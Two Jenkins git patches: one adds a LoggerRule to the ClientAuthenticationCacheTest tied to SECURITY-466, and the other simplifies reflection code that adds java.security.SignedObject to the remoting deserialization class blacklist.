Date: Thu, 13 Apr 2017 14:00:53 -0400 Subject: [PATCH 29/30] LoggerRule --- .../test/java/hudson/cli/ClientAuthenticationCacheTest.java | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java b/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java index 4e1d615380..ee1a2688fe 100644 --- a/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java +++ b/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java @@ -33,6 +33,7 @@ import java.io.ByteArrayOutputStream; import java.io.File; import java.util.Arrays; import java.util.List; +import java.util.logging.Level; import javax.annotation.CheckForNull; import jenkins.model.JenkinsLocationConfiguration; import org.apache.commons.io.FileUtils; @@ -45,6 +46,7 @@ import org.junit.Rule; import org.junit.rules.TemporaryFolder; import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.LoggerRule; public class ClientAuthenticationCacheTest { @@ -54,7 +56,8 @@ public class ClientAuthenticationCacheTest { @Rule public TemporaryFolder tmp = new TemporaryFolder(); - // TODO 2.19.x+ use LoggerRule on ClientAuthenticationCache + @Rule + public LoggerRule logging = new LoggerRule().record(ClientAuthenticationCache.class, Level.FINER); @Issue("SECURITY-466") @Test From a64f10163f1900efdac28108f285628d2aab2bbd Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 13 Apr 2017 14:11:13 -0400 Subject: [PATCH 30/30] Deleting now-dead code path. --- core/src/main/java/jenkins/model/Jenkins.java | 27 +++++++------------ 1 file changed, 10 insertions(+), 17 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index b45848123b..ee1ea7036a 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -928,25 +928,18 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve try { Field blacklistPatternsF = ClassFilter.DEFAULT.getClass().getDeclaredField("blacklistPatterns"); blacklistPatternsF.setAccessible(true); - Object blacklistPatterns = blacklistPatternsF.get(ClassFilter.DEFAULT); - if (blacklistPatterns instanceof List) { - @SuppressWarnings("unchecked") - List blacklistPatternsL = (List) blacklistPatterns; - blacklistPatternsL.add(Pattern.compile("java[.]security[.]SignedObject")); - } else { // remoting 2.62+ - Object[] blacklistPatternsA = (Object[]) blacklistPatterns; - boolean found = false; - for (int i = 0; i < blacklistPatternsA.length; i++) { - if (blacklistPatternsA[i] instanceof Pattern) { - blacklistPatternsA[i] = Pattern.compile("(" + blacklistPatternsA[i] + ")|(java[.]security[.]SignedObject)"); - found = true; - break; - } - } - if (!found) { - throw new Error("no Pattern found among " + Arrays.toString(blacklistPatternsA)); + Object[] blacklistPatternsA = (Object[]) blacklistPatternsF.get(ClassFilter.DEFAULT); + boolean found = false; + for (int i = 0; i < blacklistPatternsA.length; i++) { + if (blacklistPatternsA[i] instanceof Pattern) { + blacklistPatternsA[i] = Pattern.compile("(" + blacklistPatternsA[i] + ")|(java[.]security[.]SignedObject)"); + found = true; + break; } } + if (!found) { + throw new Error("no Pattern found among " + Arrays.toString(blacklistPatternsA)); + } } catch (NoSuchFieldException | IllegalAccessException x) { throw new Error("Unexpected ClassFilter implementation in bundled remoting.jar: " + x, x); }